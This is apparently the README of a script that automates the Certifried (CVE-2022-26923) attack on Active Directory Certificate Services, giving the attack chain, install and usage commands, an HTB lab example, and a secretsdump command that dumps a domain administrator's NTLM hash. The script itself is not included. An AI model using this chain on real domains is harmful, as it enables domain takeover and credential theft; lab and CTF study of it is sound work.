CVE-2022-26923 – Certifried Exploit (AD CS Abuse)

Automation of the exploitation of CVE-2022-26923 (Certifried) allowing privilege escalation via abuse of Active Directory Certificate Services (AD CS) and Resource-Based Constrained Delegation (RBCD), leading to the dump of the NTLM hash of a domain administrator account.

⚠️ For educational use only / Lab / HTB

Do not use in unauthorized environment.

🎯 Description

This script automates the following attack chain:

1. Creation of a controlled machine account
2. Modification of the dNSHostName
3. Certificate request via AD CS
4. Certificate authentication
5. RBCD abuse
6. S4U2Self + S4U2Proxy
7. Retrieval of a Kerberos ticket for administrator
8. NTLM dump via secretsdump.py

🔗 Vulnerability

• CVE-2022-26923 – "Certifried"
• Affects Active Directory environments using AD CS
• Allows identity impersonation of a Domain Controller via a poorly issued certificate

🛠 Tools used

• certipy-ad
• bloodyAD
• getST.py (Impacket)
• secretsdump.py (Impacket)
• openssl

📦 Installation of dependencies

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Usage

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Available options

-d, --dc-ip          IP of the Domain Controller
-D, --domain         Domain name
-u, --user           Valid user
-p, --pass           User password
-c, --comp-name      Controlled machine name
-C, --comp-pass      Machine password
-a, --ca-name        Certificate Authority name
-t, --template       Certificate template
-f, --pfx-file       PFX file name
-H, --dc-hostname    DC hostname
-A, --dc-account     DC account
-i, --impersonate    Target account to impersonate
--verbose            Debug mode
-h, --help           Help

🧠 Example (HTB Certified)

./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose

🔥 Expected result

At the end of execution:

• A Kerberos ticket administrator.ccache
• The NTLM dump of the administrator account

In case of Kerberos problem:

KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39

🧬 Internal workings

Machine Account Creation
        ↓
dNSHostName spoofing
        ↓
Certificate Request (Machine Template)
        ↓
Authentication via PFX
        ↓
RBCD abuse (bloodyAD)
        ↓
S4U2Self + S4U2Proxy
        ↓
Kerberos Ticket extraction
        ↓
NTLM dump via secretsdump

⚠️ Disclaimer

This project is provided for:

• educational purposes
• security research
• personal lab
• CTF / HTB

The author declines all responsibility in case of unauthorized use.

📜 License

MIT